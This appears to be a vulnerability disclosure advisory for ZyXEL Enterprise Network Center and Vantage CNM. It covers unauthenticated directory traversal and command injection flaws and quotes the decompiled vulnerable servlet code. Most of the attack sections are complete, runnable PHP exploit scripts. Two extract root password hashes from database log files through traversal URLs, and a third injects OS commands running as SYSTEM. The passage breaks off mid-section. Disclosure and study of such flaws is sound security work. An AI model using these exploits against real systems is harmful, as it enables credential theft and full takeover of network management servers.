Vulnerabilities Summary
The following advisory describes three (3) vulnerabilities found in ZyXEL Enterprise Network Center (version 1.3.218.61) and two (2) vulnerabilities found in ZyXEL Vantage Centralized Network Management (version 3.2)
The three vulnerabilities found in ZyXEL Enterprise Network Center (version 1.3.218.61) are:
- Directory traversal and Command injection vulnerabilities leading to Remote Command Execution
- “ShowIcon” Servlet file Parameter Directory Traversal
- FileDownloadServlet Request URI Directory Traversal Read Code Execution
The two vulnerabilities found in ZyXEL Vantage Centralized Network Management (version 3.2) are:
- FileDownloadServlet Directory Traversal
- GUIDownloadServlet Request URI Directory Traversal
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
SSD reported the vulnerabilities to ZyXEL back in Jun 2016.
Vendor response: “Regarding the security vulnerabilities you reported for our Vantage CNM, we were informed by HQ that there will no further enhancements for the product, as we have a new product to replace it, called Cloud CNM. Further, the two provide almost equivalent features with exception to GUI and behavior.”
ZyXEL Enterprise Network Center Vulnerabilities details
When ZyXEL Enterprise Network Center is installed on Windows, a service called “ZyXEL Enterprise Network Center” is also installed. “ZyXEL Enterprise Network Center” service is an Apache Tomcat instance, which listens on default public port 443 (tcp/https) for incoming requests to the web panel. It runs with NT AUTHORITY\SYSTEM privileges.
Directory traversal and Command injection vulnerabilities leading to Remote Command Execution
Using an unauthenticated connection it is possible to visit the ‘DownloadFromData‘ servlet which suffers of a directory traversal
vulnerability in the ‘fp‘ parameter of a GET request.
A remote attacker, could then download files of the underlying PostgreSQL database to gain the password hash of the ‘root‘ web application administrator.
Url Examples:
https://[host]/midas/servlet/download?fp=../../pgsql/data/pg_xlog/000000010000000000000000 https://[host]/midas/servlet/download?fp=../../pgsql/data/pg_xlog/000000010000000000000001
Once the hash is cracked, the remote attacker could then login to the affected application.
The ZyXEL Enterprise Network Center has a command injection vulnerability in the Ping/Traceroute tool. By visiting the Struts ‘ping.do‘ resource and injecting commands into the ‘cmdType‘ and ‘ip‘ parameters of a POST request it is possibile to execute arbitrary operating system commands.
Directory traversal vulnerable code (C:\Program Files (x86)\ZyXEL\ENC\ENC\temp\tomcat-midas18048.osgi\WEB-INF\web.xml):
... <!-- download file from data folder --> <servlet> <servlet-name>DownloadFromData</servlet-name> <servlet-class>com.zyxel.midas.web.download.DownloadFromData</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadFromData</servlet-name> <url-pattern>/servlet/download</url-pattern> </servlet-mapping> ...
Let’s look into the decompiled com.zyxel.midas.web.download.DownloadFromData class:
... package com.zyxel.midas.web.download; import com.zyxel.midas.core.common.util.SystemUtil; import java.io.*; import javax.servlet.ServletException; import javax.servlet.http.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class DownloadFromData extends HttpServlet { public DownloadFromData() { } public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { /* 38*/ doPost(request, response); } public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { /* 43*/ String fp = request.getParameter("fp"); <------------------------------------- /* 44*/ if(fp == null) { /* 45*/ logger.error("the user's request is invalid."); /* 46*/ return; } /* 48*/ logger.debug((new StringBuilder()).append(SystemUtil.getDataPath()).append(File.separator).append(fp).toString()); /* 50*/ File file = new File((new StringBuilder()).append(SystemUtil.getDataPath()).append(File.separator).append(fp).toString()); <---------------------------------------------------- /* 51*/ if(file.exists()) { /* 52*/ logger.debug("the file exists. and begin to download...."); /* 54*/ OutputStream os = null; /* 56*/ try { /* 56*/ response.setContentType("APPLICATION/OCTET-STREAM"); /* 57*/ response.setHeader("Content-Disposition", (new StringBuilder()).append("attachment; filename=\"").append(file.getName()).append("\"").toString()); /* 59*/ os = response.getOutputStream(); /* 61*/ InputStream is = new FileInputStream(file); <----------------------------------------- /* 62*/ BufferedInputStream bis = new BufferedInputStream(is); /* 63*/ BufferedOutputStream bos = new BufferedOutputStream(os); /* 64*/ byte buff[] = new byte[1024]; /* 65*/ int size = 0; /* 66*/ for(size = bis.read(buff); size != -1; size = bis.read(buff)) /* 68*/ bos.write(buff, 0, size); /* 71*/ bis.close(); /* 72*/ is.close(); /* 73*/ bos.flush(); /* 74*/ bos.close(); /* 75*/ os.close(); } /* 76*/ catch(IOException e) { /* 77*/ logger.error("", e); } } else { /* 81*/ logger.error("the requested file doesn't exists!"); } } private static final Logger logger = LoggerFactory.getLogger(com/zyxel/midas/web/download/DownloadFromData); } ...
On line 43 the ‘fp‘ parameter is received, without sanitation. On line 50 it is concatenated into a path to a file. On lines 61/75 the file is returned to the attacker.
Command injection vulnerable code (C:\Program Files (x86)\ZyXEL\ENC\ENC\temp\tomcat-midas18048.osgi\WEB-INF\ping_traceroute-servlet.xml):
... <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd"> <beans> <bean name="/ping.do" class="com.zyxel.midas.web.ping_traceroute.controller.PingAction"> <property name="serviceFacade" ref="uiServiceAdapter"/> <property name="methodNameResolver"> <ref bean="paraMethodResolver"/> </property> <property name="toPingPage"> <value>jsp/tool/ping_traceroute/ping_traceroute.jsp</value> </property> </bean> </beans> ...
Let’s look into the decompiled com.zyxel.midas.web.ping_traceroute.controller.PingAction class:
... package com.zyxel.midas.web.ping_traceroute.controller; import com.zyxel.midas.core.bean.ping.PingBean; import com.zyxel.midas.core.pojo.UiData; import com.zyxel.midas.core.pojo.devicemgmt.Device; import com.zyxel.midas.core.pojo.uam.Account; import com.zyxel.midas.web.common.UIServiceAdapter; import com.zyxel.midas.web.common.basecontroller.MBaseMultiActionController; import java.io.*; import java.util.HashMap; import java.util.Map; import javax.servlet.ServletOutputStream; import javax.servlet.http.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.servlet.ModelAndView; public class PingAction extends MBaseMultiActionController { public PingAction() { /* 30*/ sbMap = new HashMap(); /* 31*/ endMap = new HashMap(); /* 32*/ processMap = new HashMap(); } public ModelAndView toPingPage(HttpServletRequest request, HttpServletResponse response) throws Exception { /* 38*/ logger.debug("...toPingPage..."); /* 39*/ PingBean bean = new PingBean(); /* 41*/ int deviceId = getCurrentDeviceId(request); /* 42*/ logger.debug("...deviceId got..."); /* 43*/ if(deviceId == -1 || deviceId == 0) /* 44*/ bean.setIp("127.0.0.1"); /* 47*/ else /* 47*/ try { /* 47*/ UiData data = new UiData(10304, 1); /* 48*/ data.setData(String.valueOf(deviceId)); /* 49*/ UiData result = getServiceFacade().service(data); /* 50*/ Device dev = (Device)result.getData(); /* 51*/ bean.setIp(dev.getDeviceIp()); } /* 52*/ catch(Exception e) { /* 53*/ bean.setIp("127.0.0.1"); } /* 56*/ logger.debug("...deviceId set..."); /* 57*/ bean.setCmdType("ping"); /* 58*/ Account acc = (Account)request.getSession().getAttribute("account"); /* 59*/ logger.debug((new StringBuilder()).append(".....account got....").append(acc.getName()).toString()); /* 60*/ bean.setAccount(acc.getName()); /* 61*/ boolean ifExist = createNewStringBuffer(acc.getName()); /* 62*/ logger.debug((new StringBuilder()).append(".....ifExist....= ").append(ifExist).toString()); /* 63*/ boolean ifend = createNewEnd(acc.getName()); /* 64*/ logger.debug((new StringBuilder()).append(".....ifend....= ").append(ifend).toString()); /* 65*/ Process pro = (Process)processMap.get(acc.getName()); /* 66*/ if(pro != null) /* 67*/ pro.destroy(); /* 69*/ ModelAndView mv = new ModelAndView(getToPingPage(), getCommandName(null), bean); /* 70*/ return mv; } public ModelAndView ping(HttpServletRequest request, HttpServletResponse response, PingBean bean) throws Exception { /* 75*/ logger.debug((new StringBuilder()).append("...PingAction...").append(bean.getIp()).append(bean.getCmdType()).toString()); /* 76*/ String cmd = bean.getCmdType(); <-------------------------------------------- /* 77*/ String ip = bean.getIp(); <------------------------------------------ /* 78*/ String account = bean.getAccount(); /* 79*/ String line = null; /* 80*/ int ifEnded = ((Integer)endMap.get(account)).intValue(); /* 81*/ ifEnded = 0; /* 82*/ endMap.put(account, Integer.valueOf(ifEnded)); /* 85*/ try { /* 85*/ Process pro = Runtime.getRuntime().exec(cmdwin, null, new File(windir)); <------------------------------------ /* 86*/ processMap.put(account, pro); /* 88*/ PrintStream printStream = new PrintStream(pro.getOutputStream()); /* 89*/ String command = (new StringBuilder()).append(cmd).append(" ").append(ip).toString(); <------------------ /* 90*/ printStream.println(command); <---------------------------------- boom /* 91*/ printStream.flush(); /* 93*/ BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); /* 94*/ StringBuffer outPut = (StringBuffer)sbMap.get(account); /* 95*/ do { /* 95*/ if((line = buf.readLine()) == null) /* 96*/ break; /* 96*/ if(!"".equals(line) && line != null && !"Active code page: 437".equals(line) && line.indexOf(windir) == -1) { /* 99*/ outPut.append(line); /* 100*/ outPut.append("\n"); } } while(line.indexOf("Please check the name and try again.") == -1 && line.indexOf("Unable to resolve target system name") == -1 && line.indexOf("Trace complete.") == -1 && line.indexOf("100% loss") == -1 && line.indexOf("Average") == -1); /* 120*/ outPut.append("\n\n"); /* 121*/ pro.destroy(); /* 122*/ printStream.close(); /* 123*/ buf.close(); /* 125*/ int ifEnd = ((Integer)endMap.get(account)).intValue(); /* 126*/ ifEnd = 1; /* 127*/ endMap.put(account, Integer.valueOf(ifEnd)); /* 128*/ noResponseAjaxResponse(response); } /* 130*/ catch(Exception ex) { /* 132*/ System.out.println(ex.getMessage()); } /* 134*/ return null; } public ModelAndView getOutPut(HttpServletRequest request, HttpServletResponse response) throws Exception { /* 141*/ try { /* 141*/ String account = request.getParameter("account"); /* 143*/ StringBuffer outPut = (StringBuffer)sbMap.get(account); /* 144*/ int ifEnd = ((Integer)endMap.get(account)).intValue(); /* 146*/ String temp = outPut.toString().replaceAll("<", "<"); /* 147*/ responseAjaxResponse(response, temp, ifEnd); } /* 148*/ catch(Exception e) { /* 149*/ e.printStackTrace(); /* 150*/ responseAjaxResponse(response, "", -1); } /* 152*/ return null; } public ModelAndView clearOutPut(HttpServletRequest request, HttpServletResponse response) throws Exception { /* 157*/ logger.debug("...clearOutPut..."); /* 158*/ String account = request.getParameter("account"); /* 159*/ clear(account); /* 160*/ noResponseAjaxResponse(response); /* 161*/ return null; } public ModelAndView stopProcess(HttpServletRequest request, HttpServletResponse response) throws Exception { /* 166*/ logger.debug("...stopProcess..."); /* 167*/ String account = request.getParameter("account"); /* 168*/ logger.debug((new StringBuilder()).append("...account in stopProcess=").append(account).toString()); /* 169*/ if(processMap.containsKey(account)) { /* 170*/ Process pro = (Process)processMap.get(account); /* 171*/ pro.getInputStream().close(); /* 172*/ pro.getOutputStream().close(); /* 173*/ pro.destroy(); /* 174*/ StringBuffer sb = (StringBuffer)sbMap.get(account); /* 175*/ sb.delete(0, sb.length()); /* 176*/ processMap.remove(account); } /* 178*/ noResponseAjaxResponse(response); /* 179*/ return null; } public void responseAjaxResponse(HttpServletResponse response, String outPut, int ifEnd) throws IOException { /* 183*/ response.setContentType("text/xml;charset=utf-8"); /* 184*/ response.getOutputStream().println((new StringBuilder()).append("<root><output>").append(outPut).append("</output><end>").append(ifEnd).append("</end></root>").toString()); /* 185*/ response.flushBuffer(); } public void noResponseAjaxResponse(HttpServletResponse response) throws IOException { /* 189*/ response.setContentType("text/xml;charset=utf-8"); /* 190*/ response.getOutputStream().println("<root><status>ok</status></root>"); /* 191*/ response.flushBuffer(); } private void clear(String account) { /* 195*/ StringBuffer outPut = (StringBuffer)sbMap.get(account); /* 196*/ int ifEnd = ((Integer)endMap.get(account)).intValue(); /* 197*/ outPut.delete(0, outPut.length()); /* 198*/ ifEnd = 0; /* 199*/ endMap.put(account, Integer.valueOf(ifEnd)); /* 200*/ logger.debug((new StringBuilder()).append("......clear ifend = ").append(endMap.get(account)).toString()); } private boolean createNewStringBuffer(String account) { /* 204*/ logger.debug("...createNewStringBuffer start..."); /* 205*/ if(!sbMap.containsKey(account)) { /* 206*/ StringBuffer sb = new StringBuffer(); /* 207*/ sbMap.put(account, sb); /* 208*/ return true; } else { /* 210*/ StringBuffer sb = (StringBuffer)sbMap.get(account); /* 211*/ sb.delete(0, sb.length()); /* 212*/ sbMap.put(account, sb); /* 213*/ return false; } } private StringBuffer getStringBufferByAccount(String account) { /* 218*/ if(sbMap.containsKey(account)) { /* 219*/ StringBuffer sb = (StringBuffer)sbMap.get(account); /* 220*/ return sb; } else { /* 222*/ logger.debug(".....getStringBufferByAccount null...."); /* 223*/ return null; } } private boolean createNewEnd(String account) { /* 228*/ logger.debug("....createNewEnd start ..."); /* 229*/ if(!endMap.containsKey(account)) { /* 230*/ int end = 0; /* 231*/ endMap.put(account, Integer.valueOf(end)); /* 232*/ return true; } else { /* 234*/ int end = ((Integer)endMap.get(account)).intValue(); /* 235*/ end = 0; /* 236*/ endMap.put(account, Integer.valueOf(end)); /* 237*/ return false; } } private int getEndByAccount(String account) { /* 242*/ int end = ((Integer)endMap.get(account)).intValue(); /* 243*/ return end; } public String getToPingPage() { /* 247*/ return toPingPage; } public void setToPingPage(String toPingPage) { /* 250*/ this.toPingPage = toPingPage; } private static final Logger logger = LoggerFactory.getLogger(com/zyxel/midas/web/ping_traceroute/controller/PingAction); private String toPingPage; private Map sbMap; private Map endMap; private Map processMap; private static String cmdwin = "cmd.exe /k chcp 437"; private static String windir = (String)System.getenv().get("windir"); } ...
look carefully at the ping() method at line 75; at line 76/77 the parameters are received; At line 85, a process is launched with the command line “cmd.exe /k chcp 437”;
On line 89 the parameters are concatenated into the ‘command’ variable without prior sanitation. On line 90 ‘command’ is printed into the process pipe and executed.
at line 141 getOutPut() method will return the command output to the attacker.
Proof of Concept
The proof of concept is a 2 step exploit:
- Exploit the Directory Traversal vulnerability
- Exploit the Command injection vulnerability
ZyXEL Enterprise Network Center 1.3.218.61 DownloadFromData Servlet fp Parameter Directory Traversal Read Vulnerability PoC
C:\php>DownloadFromDataPoC.php 192.168.1.34
[*] Attacking …
[*] Database found.
[*] data1.db database saved.
[*] Quickly searching for ‘root’ password inside data1.db …
[*] root:221182760f5b980c97c7a74a94d57364
[*] root:221182760f5b980c97c7a74a94d57364
[*] root:63a9f0ea7bb98050796b649e85481845
[*] root:63a9f0ea7bb98050796b649e85481845
[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.
[..]
C:\php> error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php DownloadFromDataPoC.php [ip_address]\r\n" ); die(); } $argv[1] ? print("[*] Attacking ...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request,$is_multipart) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, )); if ($is_multipart){ curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, "Content-Type: multipart/form-data; boundary=---------------------------105432481426097" )); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "AV Report Scheduler"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 0); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 443; function isValidMd5($md5 ='') { return preg_match('/^[a-f0-9]{32}$/', $md5); } $url = "https://$host:$port/midas/servlet/download?fp=../../pgsql/data/pg_xlog/000000010000000000000001"; $out = _s($url, 0, "", "",0); //print($out."\n"); if (strpos($out,"Content-Disposition: attachment;")){ print("[*] Database found.\n"); $tmp = explode("\r\n\r\n",$out); file_put_contents("data1.db",$tmp[1]); print("[*] data1.db database saved.\n"); print("[*] Quickly searching for 'root' password inside data1.db ...\n"); $tmp = file_get_contents("data1.db"); $tmp = explode("rootC",$tmp); for ($j=0; $j<count($tmp); $j++){ $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[$j][$i]; } if (isValidMd5($hash)){ print("[*] root:".$hash."\n"); } } print("[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.\n"); } else { print("[!] Database not found. Go on.\n"); } $url = "https://$host:$port/midas/servlet/download?fp=../../pgsql/data/pg_xlog/000000010000000000000000"; $out = _s($url, 0, "", "",0); //print($out."\n"); if (strpos($out,"Content-Disposition: attachment;")){ print("[*] Database found.\n"); $tmp = explode("\r\n\r\n",$out); file_put_contents("data2.db",$tmp[1]); print("[*] data2.db database saved.\n"); print("[*] Quickly searching for 'root' password inside data2.db ...\n"); $tmp = file_get_contents("data2.db"); $tmp = explode("rootC",$tmp); for ($j=0; $j<count($tmp); $j++){ $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[$j][$i]; } if (isValidMd5($hash)){ print("[*] root:".$hash."\n"); } } print("[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.\n"); } else { print("[!] Database not found. Go on.\n"); } print("[*] Done. If the script does not show the hash as intended, you could need to analyze the files manually."); ?>
ZyXEL Enterprise Network Center 1.3.218.61 ping.do cmdType/ip Parameters Command Execution Vulnerability PoC
Start by browsing https://[host]/midas/ and login with the ‘root‘ password you gained, then cracked, with the directory traversal read vulnerability; then browse Tool -> PING/TraceRoute and do a normal ping to 127.0.0.1 (this action must be done); in the meanwhile sniff Internet Explorer with a tool like oSpy and keep the JSESSIONID cookie value: The browser sends two JSESSIONID values because of a bug; configure the following script with the first JSESSIONID value, then launch from the command line; this script executes ‘whoami’, you should see “nt authority\system” into the output.
<?php error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php Command_exeacPoC.php [ip_address]\r\n" ); die(); } $argv[1] ? print("[*] Attacking ...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request,$is_multipart) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, )); if ($is_multipart){ curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, "Content-Type: multipart/form-data; boundary=---------------------------105432481426097" )); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "AV Report Scheduler"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { //die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 443; /* -------------------- configure ------------------------ */ $cmd = urlencode("whoami"); $sess = "0042272B61B100A9E0DB59398C178B2A"; //change /* ------------------------------------------------------- */ $data="ip=&cmdType=".$cmd."&account=root"; $url = "https://$host:$port/midas/ping.do?dispatch=ping"; $out = _s($url, 1, "JSESSIONID=".$sess.";", $data,0); print($out."\n"); $data="account=root"; $url = "https://$host:$port/midas/ping.do?dispatch=getOutPut"; $out = _s($url, 1, "JSESSIONID=".$sess.";", $data,0); print($out."\n"); ?>
“ShowIcon” Servlet file Parameter Directory Traversal
Using an unauthenticated connection it is possible to visit the ‘ShowIcon‘ servlet which suffers of a directory traversal vulnerability into the ‘file’ parameter of a GET request while reading the files.
A remote attacker could download files of the underlying PostgreSQL database to gain the password hash of the ‘root‘ web application administrator.
URL Examples:
https://[host]/midas/servlet/showicon?file=/../../../pgsql/data/pg_xlog/000000010000000000000000 https://[host]/midas/servlet/showicon?file=/../../../pgsql/data/pg_xlog/000000010000000000000001
Once the hash is cracked, the remote attacker could then login to the affected application. which suffers of the already seen command injection vulnerability (Ping/Traceroute tool).
Vulnerable code (C:\Program Files (x86)\ZyXEL\ENC\ENC\temp\tomcat-midas18048.osgi\WEB-INF\web.xml):
... <!-- Show Custom Icon --> <servlet> <servlet-name>ShowIcon</servlet-name> <servlet-class>com.zyxel.midas.web.customicons.servlet.ShowIcon</servlet-class> </servlet> <servlet-mapping> <servlet-name>ShowIcon</servlet-name> <url-pattern>/servlet/showicon</url-pattern> </servlet-mapping> ...
Let’s look at the decompiled com.zyxel.midas.web.customicons.servlet.ShowIcon class:
... package com.zyxel.midas.web.customicons.servlet; import com.zyxel.midas.core.dao.CustomIconDao; import com.zyxel.midas.core.pojo.customicons.CustomIcon; import com.zyxel.midas.core.service.customicons.CommonInfo; import com.zyxel.midas.web.tools.SpringServiceUtil; import java.io.*; import javax.servlet.ServletException; import javax.servlet.http.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class ShowIcon extends HttpServlet { public ShowIcon() { } public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { /* 32*/ doPost(request, response); } public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { /* 38*/ String customicon_id = request.getParameter("customicon_id"); /* 39*/ String file = request.getParameter("file"); <--------------------------------------- /* 41*/ if(customicon_id != null && !"".equals(customicon_id)) { /* 42*/ dao = (CustomIconDao)SpringServiceUtil.getService("customIconService"); /* 43*/ CustomIcon ci = (CustomIcon)dao.findById(com/zyxel/midas/core/pojo/customicons/CustomIcon, Integer.valueOf(Integer.parseInt(customicon_id))); /* 44*/ file = ci.getFile(); } /* 46*/ file = (new StringBuilder()).append(CommonInfo.getInstance().getIconDir()).append(file).toString(); <--------------------------------- /* 47*/ OutputStream output = response.getOutputStream(); /* 48*/ response.setContentType("image/gif;charset=GB2312"); /* 49*/ java.io.InputStream imageIn = new FileInputStream(new File(file)); /* 50*/ BufferedInputStream bis = new BufferedInputStream(imageIn); /* 51*/ BufferedOutputStream bos = new BufferedOutputStream(output); /* 52*/ byte buff[] = new byte[1024]; /* 53*/ int size = 0; /* 54*/ for(size = bis.read(buff); size != -1; size = bis.read(buff)) /* 56*/ bos.write(buff, 0, size); /* 59*/ bis.close(); /* 60*/ bos.flush(); /* 61*/ bos.close(); /* 62*/ output.close(); } private static final Logger logger = LoggerFactory.getLogger(com/zyxel/midas/web/customicons/servlet/ShowIcon); private static final String GIF = "image/gif;charset=GB2312"; private static final String JPG = "image/jpeg;charset=GB2312"; private CustomIconDao dao; } ...
On line 39, the parameter is received. Without sanitation. On line 46 it is concatenated into the path to a file. On lines 47/62 the pointed file is returned to the attacker.
Proof of Concept
ZyXEL Enterprise Network Center 1.3.218.61 ShowIcon Servlet file Parameter Directory Traversal Read Vulnerability PoC
Usage:
C:\php>ShowIcon_Servlet.php 192.168.1.34
[*] Attacking …
[*] Database found.
[*] data1.db database saved.
[*] Quickly searching for ‘root’ password inside data1.db …
[*] root:b28b4c0be6dd3412af122f91e1a6a213
[*] root:b28b4c0be6dd3412af122f91e1a6a213
[*] root:b28b4c0be6dd3412af122f91e1a6a213
[*] root:b28b4c0be6dd3412af122f91e1a6a213
[*] root:b28b4c0be6dd3412af122f91e1a6a213
[*] root:b28b4c0be6dd3412af122f91e1a6a213
[*] root:271182760f5b981c97c7a74a24d57364
[*] root:271182760f5b981c97c7a74a24d57364
[*] root:13a9f0ea7b198050796b649e85481845
[*] root:13a9f0ea7b198050796b649e85481845
[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.
[..]
C:\php>
<?php error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: ShowIcon_Servlet.php [ip_address]\r\n" ); die(); } $argv[1] ? print("[*] Attacking ...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request,$is_multipart) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, )); if ($is_multipart){ curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, "Content-Type: multipart/form-data; boundary=---------------------------105432481426097" )); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "AV Report Scheduler"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 0); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 443; function isValidMd5($md5 ='') { return preg_match('/^[a-f0-9]{32}$/', $md5); } $url = "https://$host:$port/midas/servlet/showicon?file=/../../../pgsql/data/pg_xlog/000000010000000000000001"; $out = _s($url, 0, "", "",0); //print($out."\n"); if (strpos($out,"Content-Type: image/gif;charset=")){ print("[*] Database found.\n"); $tmp = explode("\r\n\r\n",$out); file_put_contents("data1.db",$tmp[1]); print("[*] data1.db database saved.\n"); print("[*] Quickly searching for 'root' password inside data1.db ...\n"); $tmp = file_get_contents("data1.db"); $tmp = explode("rootC",$tmp); for ($j=0; $j<count($tmp); $j++){ $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[$j][$i]; } if (isValidMd5($hash)){ print("[*] root:".$hash."\n"); } } print("[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.\n"); } else { print("[!] Database not found. Go on.\n"); } $url = "https://$host:$port/midas/servlet/showicon?file=/../../../pgsql/data/pg_xlog/000000010000000000000000"; $out = _s($url, 0, "", "",0); //print($out."\n"); if (strpos($out,"Content-Type: image/gif;charset=")){ print("[*] Database found.\n"); $tmp = explode("\r\n\r\n",$out); file_put_contents("data2.db",$tmp[1]); print("[*] data1.db database saved.\n"); print("[*] Quickly searching for 'root' password inside data2.db ...\n"); $tmp = file_get_contents("data2.db"); $tmp = explode("rootC",$tmp); for ($j=0; $j<count($tmp); $j++){ $hash=""; for ($i=0; $i<32; $i++){ $hash.=$tmp[$j][$i]; } if (isValidMd5($hash)){ print("[*] root:".$hash."\n"); } } print("[*] Note that theese passwords could have been replaced, you could need the data to refresh in some minutes.\n"); } else { print("[!] Database not found. Go on.\n"); } print("[*] Done. If the script does not show the hash as intended, you could need to analyze the files manually."); ?>
FileDownloadServlet Request URI Directory Traversal Read Code Execution
Using an unauthenticated connection it is possible to visit the ‘FileDownloadServlet‘ servlet which suffers of a directory traversal vulnerability into the request URI while reading the files.
A remote attacker could download files of the underlying PostgreSQL database to gain the password hash of the ‘root‘ web application administrator.
Once the hash is cracked, the remote attacker could then login to the affected application. which suffers of the already seen command injection vulnerability (Ping/Traceroute tool).
Vulnerable code (C:\Program Files (x86)\ZyXEL\ENC\ENC\temp\tomcat-enc18052.osgi\WEB-INF\web.xml):
... <servlet> <servlet-name>FileDownloadServlet</servlet-name> <servlet-class>com.zyxel.midas.ta.servlet.FileDownloadServlet</servlet-class> <load-on-startup>2</load-on-startup> </servlet> ... ... <servlet-mapping> <servlet-name>FileDownloadServlet</servlet-name> <url-pattern>/TR069/download/*</url-pattern> </servlet-mapping> ...
Let’s look at the decompiled com.zyxel.midas.ta.servlet.FileDownloadServlet class:
